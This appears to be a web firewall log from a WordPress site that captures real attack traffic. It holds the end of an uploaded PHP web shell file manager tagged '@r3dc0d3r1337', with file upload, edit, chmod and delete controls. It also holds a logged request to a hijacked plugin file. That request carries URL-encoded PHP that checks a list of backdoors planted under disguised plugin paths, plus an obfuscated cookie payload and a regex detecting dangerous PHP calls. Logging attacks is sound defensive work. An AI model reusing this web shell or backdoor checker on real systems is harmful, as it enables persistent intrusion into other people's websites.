solid #3a3a3a !important;\r\n            border-bottom: 2px solid #3a3a3a !important;\r\n            text-transform: uppercase;\r\n            letter-spacing: 1px;\r\n            font-size: 12px;\r\n        }\r\n        \r\n        @media (max-width: 768px) {\r\n            .tools {\r\n                flex-direction: column;\r\n            }\r\n            \r\n            .file-table {\r\n                font-size: 12px;\r\n            }\r\n            \r\n            .file-actions {\r\n                flex-direction: column;\r\n            }\r\n            \r\n            .sys-info {\r\n                font-size: 11px;\r\n            }\r\n        }\r\n    <\/style>\r\n<\/head>\r\n<body>\r\n    <div class=\"container\">\r\n        <div class=\"header\">\r\n            <h1>🌙 File Manager - @r3dc0d3r1337-WORDPRESS<\/h1>\r\n            <div class=\"sys-info\">\r\n                <?php foreach($serverInfo as $key => $value): ?>\r\n                <span><strong><?php echo $key; ?>:<\/strong> <?php echo htmlspecialchars($value); ?><\/span>\r\n                <?php endforeach; ?>\r\n            <\/div>\r\n        <\/div>\r\n        \r\n        <?php if($notification): ?>\r\n        <div class=\"notification <?php echo $notification['type']; ?>\">\r\n            <?php echo htmlspecialchars($notification['text']); ?>\r\n        <\/div>\r\n        <?php endif; ?>\r\n        \r\n        <div class=\"nav\">\r\n            <form method=\"get\" class=\"path-bar\">\r\n                <input type=\"text\" name=\"p\" value=\"<?php echo htmlspecialchars($currentPath); ?>\" placeholder=\"Enter path...\">\r\n                <button type=\"submit\" class=\"btn\">Navigate<\/button>\r\n            <\/form>\r\n            \r\n            <div class=\"tools\">\r\n                <form method=\"post\" enctype=\"multipart\/form-data\" class=\"tool-group\">\r\n                    <label>Upload:<\/label>\r\n                    <input type=\"file\" name=\"upload\" required>\r\n                    <button type=\"submit\" class=\"btn btn-small btn-success\">Upload<\/button>\r\n                <\/form>\r\n                \r\n                <div class=\"tool-group\">\r\n                    <button onclick=\"showNewFileModal()\" class=\"btn btn-small\">New File<\/button>\r\n                    <button onclick=\"showNewFolderModal()\" class=\"btn btn-small\">New Folder<\/button>\r\n                <\/div>\r\n            <\/div>\r\n        <\/div>\r\n        \r\n        <div class=\"content\">\r\n            <?php if($editMode): ?>\r\n            <div class=\"edit-container\">\r\n                <h3 style=\"margin-bottom: 15px; color: #4a9eff;\">Editing: <?php echo htmlspecialchars($editFile); ?><\/h3>\r\n                <form method=\"post\">\r\n                    <input type=\"hidden\" name=\"save\" value=\"<?php echo htmlspecialchars($editFile); ?>\">\r\n                    <textarea name=\"content\" class=\"edit-area\"><?php echo htmlspecialchars($editContent); ?><\/textarea>\r\n                    <div style=\"margin-top: 15px; display: flex; gap: 10px;\">\r\n                        <button type=\"submit\" class=\"btn btn-success\">Save Changes<\/button>\r\n                        <a href=\"?p=<?php echo urlencode($currentPath); ?>\" class=\"btn btn-danger\" style=\"text-decoration: none; display: inline-flex; align-items: center;\">Cancel<\/a>\r\n                    <\/div>\r\n                <\/form>\r\n            <\/div>\r\n            <?php else: ?>\r\n            <table class=\"file-table\">\r\n                <thead>\r\n                    <tr>\r\n                        <th width=\"35%\">Name<\/th>\r\n                        <th width=\"10%\">Type<\/th>\r\n                        <th width=\"10%\">Size<\/th>\r\n                        <th width=\"10%\">Permissions<\/th>\r\n                        <th width=\"15%\">Modified<\/th>\r\n                        <th width=\"20%\">Actions<\/th>\r\n                    <\/tr>\r\n                <\/thead>\r\n                <tbody>\r\n                    <?php if($currentPath !== '\/'): ?>\r\n                    <tr>\r\n                        <td colspan=\"6\">\r\n                            <a href=\"?p=<?php echo urlencode(dirname($currentPath)); ?>\">\r\n                                <span class=\"file-icon\">⬆️<\/span> Parent Directory\r\n                            <\/a>\r\n                        <\/td>\r\n                    <\/tr>\r\n                    <?php endif; ?>\r\n                    \r\n                    <?php\r\n                    \/\/ Display folders first\r\n                    if(!empty($sortedContents['folders'])) {\r\n                        echo '<tr class=\"separator-row\"><td colspan=\"6\">📁 Folders<\/td><\/tr>';\r\n                        foreach($sortedContents['folders'] as $folder):\r\n                            $itemPath = $currentPath . $folder;\r\n                            $perms = getPermissions($itemPath);\r\n                            $isWritable = isWritableEnhanced($itemPath);\r\n                            $modified = @filemtime($itemPath);\r\n                    ?>\r\n                    <tr class=\"folder-row\">\r\n                        <td>\r\n                            <a href=\"?p=<?php echo urlencode($itemPath); ?>\">\r\n                                <span class=\"perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>\"><\/span>\r\n                                <span class=\"file-icon\">📁<\/span>\r\n                                <span class=\"<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>\">\r\n                                    <?php echo htmlspecialchars($folder); ?>\r\n                                <\/span>\r\n                            <\/a>\r\n                        <\/td>\r\n                        <td>Folder<\/td>\r\n                        <td>-<\/td>\r\n                        <td class=\"<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>\">\r\n                            <?php echo $perms; ?>\r\n                        <\/td>\r\n                        <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?><\/td>\r\n                        <td>\r\n                            <div class=\"file-actions\">\r\n                                <a href=\"#\" onclick=\"renameItem('<?php echo htmlspecialchars($folder); ?>'); return false;\">Rename<\/a>\r\n                                <a href=\"#\" onclick=\"chmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;\">Chmod<\/a>\r\n                                <a href=\"?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>\" \r\n                                   class=\"delete\" onclick=\"return confirm('Delete this folder and all its contents?')\">Delete<\/a>\r\n                            <\/div>\r\n                        <\/td>\r\n                    <\/tr>\r\n                    <?php endforeach; } ?>\r\n                    \r\n                    <?php\r\n                    \/\/ Display files\r\n                    if(!empty($sortedContents['files'])) {\r\n                        echo '<tr class=\"separator-row\"><td colspan=\"6\">📄 Files<\/td><\/tr>';\r\n                        foreach($sortedContents['files'] as $file):\r\n                            $itemPath = $currentPath . $file;\r\n                            $size = @filesize($itemPath);\r\n                            $perms = getPermissions($itemPath);\r\n                            $isWritable = isWritableEnhanced($itemPath);\r\n                            $modified = @filemtime($itemPath);\r\n                            $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE');\r\n                            \r\n                            if($size !== false) {\r\n                                if($size < 1024) $size = $size . ' B';\r\n                                elseif($size < 1048576) $size = round($size\/1024, 1) . ' KB';\r\n                                elseif($size < 1073741824) $size = round($size\/1048576, 1) . ' MB';\r\n                                else $size = round($size\/1073741824, 1) . ' GB';\r\n                            } else {\r\n                                $size = '?';\r\n                            }\r\n                    ?>\r\n                    <tr>\r\n                        <td>\r\n                            <span style=\"display: inline-flex; align-items: center; gap: 8px;\">\r\n                                <span class=\"perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>\"><\/span>\r\n                                <span class=\"file-icon\">📄<\/span>\r\n                                <span class=\"<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>\">\r\n                                    <?php echo htmlspecialchars($file); ?>\r\n                                <\/span>\r\n                            <\/span>\r\n                        <\/td>\r\n                        <td><?php echo $ext; ?><\/td>\r\n                        <td><?php echo $size; ?><\/td>\r\n                        <td class=\"<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>\">\r\n                            <?php echo $perms; ?>\r\n                        <\/td>\r\n                        <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?><\/td>\r\n                        <td>\r\n                            <div class=\"file-actions\">\r\n                                <a href=\"?p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>\">Edit<\/a>\r\n                                <a href=\"?p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>\">Download<\/a>\r\n                                <a href=\"#\" onclick=\"renameItem('<?php echo htmlspecialchars($file); ?>'); return false;\">Rename<\/a>\r\n                                <a href=\"#\" onclick=\"chmodItem('<?php echo htmlspecialchars($file); ?>'); return false;\">Chmod<\/a>\r\n                                <a href=\"?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>\" \r\n                                   class=\"delete\" onclick=\"return confirm('Delete this file?')\">Delete<\/a>\r\n                            <\/div>\r\n                        <\/td>\r\n                    <\/tr>\r\n                    <?php endforeach; } ?>\r\n                    \r\n                    <?php if(empty($sortedContents['folders']) && empty($sortedContents['files'])): ?>\r\n                    <tr>\r\n                        <td colspan=\"6\" class=\"empty\">Empty directory<\/td>\r\n                    <\/tr>\r\n                    <?php endif; ?>\r\n                <\/tbody>\r\n            <\/table>\r\n            <?php endif; ?>\r\n        <\/div>\r\n    <\/div>\r\n    \r\n    <!-- New File Modal -->\r\n    <div id=\"newFileModal\" class=\"modal\">\r\n        <div class=\"modal-content\">\r\n            <div class=\"modal-header\">Create New File<\/div>\r\n            <form method=\"post\">\r\n                <div class=\"modal-body\">\r\n                    <input type=\"text\" name=\"newfile\" placeholder=\"Filename (e.g., index.php)\" required>\r\n                    <textarea name=\"filecontent\" placeholder=\"File content (optional)\"><\/textarea>\r\n                <\/div>\r\n                <div class=\"modal-footer\">\r\n                    <button type=\"submit\" class=\"btn btn-success\">Create<\/button>\r\n                    <button type=\"button\" class=\"btn btn-danger\" onclick=\"closeModal('newFileModal')\">Cancel<\/button>\r\n                <\/div>\r\n            <\/form>\r\n        <\/div>\r\n    <\/div>\r\n    \r\n    <!-- New Folder Modal -->\r\n    <div id=\"newFolderModal\" class=\"modal\">\r\n        <div class=\"modal-content\">\r\n            <div class=\"modal-header\">Create New Folder<\/div>\r\n            <form method=\"post\">\r\n                <div class=\"modal-body\">\r\n                    <input type=\"text\" name=\"newfolder\" placeholder=\"Folder name\" required>\r\n                <\/div>\r\n                <div class=\"modal-footer\">\r\n                    <button type=\"submit\" class=\"btn btn-success\">Create<\/button>\r\n                    <button type=\"button\" class=\"btn btn-danger\" onclick=\"closeModal('newFolderModal')\">Cancel<\/button>\r\n                <\/div>\r\n            <\/form>\r\n        <\/div>\r\n    <\/div>\r\n    \r\n    <script>\r\n        \/\/ Modal functions\r\n        function showNewFileModal() {\r\n            document.getElementById('newFileModal').classList.add('active');\r\n        }\r\n        \r\n        function showNewFolderModal() {\r\n            document.getElementById('newFolderModal').classList.add('active');\r\n        }\r\n        \r\n        function closeModal(id) {\r\n            document.getElementById(id).classList.remove('active');\r\n        }\r\n        \r\n        \/\/ Rename function\r\n        function renameItem(oldName) {\r\n            var newName = prompt('Enter new name:', oldName);\r\n            if(newName && newName !== oldName) {\r\n                var form = document.createElement('form');\r\n                form.method = 'post';\r\n                form.innerHTML = '<input type=\"hidden\" name=\"oldname\" value=\"' + oldName + '\">' +\r\n                               '<input type=\"hidden\" name=\"newname\" value=\"' + newName + '\">';\r\n                document.body.appendChild(form);\r\n                form.submit();\r\n            }\r\n        }\r\n        \r\n        \/\/ Chmod function\r\n        function chmodItem(item) {\r\n            var mode = prompt('Enter new permissions (e.g., 755):', '755');\r\n            if(mode) {\r\n                var form = document.createElement('form');\r\n                form.method = 'post';\r\n                form.innerHTML = '<input type=\"hidden\" name=\"chmod_item\" value=\"' + item + '\">' +\r\n                               '<input type=\"hidden\" name=\"chmod_value\" value=\"' + mode + '\">';\r\n                document.body.appendChild(form);\r\n                form.submit();\r\n            }\r\n        }\r\n        \r\n        \/\/ Auto-hide notifications\r\n        setTimeout(function() {\r\n            var notifications = document.querySelectorAll('.notification');\r\n            notifications.forEach(function(n) {\r\n                n.style.opacity = '0';\r\n                setTimeout(function() { n.style.display = 'none'; }, 300);\r\n            });\r\n        }, 3000);\r\n        \r\n        \/\/ Keyboard shortcuts\r\n        document.addEventListener('keydown', function(e) {\r\n            if(e.ctrlKey && e.key === 'n') {\r\n                e.preventDefault();\r\n                showNewFileModal();\r\n            }\r\n            if(e.ctrlKey && e.shiftKey && e.key === 'N') {\r\n                e.preventDefault();\r\n                showNewFolderModal();\r\n            }\r\n            if(e.key === 'Escape') {\r\n                document.querySelectorAll('.modal.active').forEach(function(m) {\r\n                    m.classList.remove('active');\r\n                });\r\n            }\r\n        });\r\n        \r\n        \/\/ Click outside modal to close\r\n        document.querySelectorAll('.modal').forEach(function(modal) {\r\n            modal.addEventListener('click', function(e) {\r\n                if(e.target === modal) {\r\n                    modal.classList.remove('active');\r\n                }\r\n            });\r\n        });\r\n    <\/script>\r\n<\/body>\r\n<\/html>\r\n--a99c2787598de345921c330a2ac748e0--\r\n"]
["2026-04-14 20:15:22","77.68.103.59","POST","\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UH:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/record.php%22%3D%3E%22bd%40%40257250841%40%40989%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncookie:4=d483454cdd816adee7846f0e430b4bf8; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:8580\n\nUH=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/record.php%22%3D%3E%22bd%40%40257250841%40%40989%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t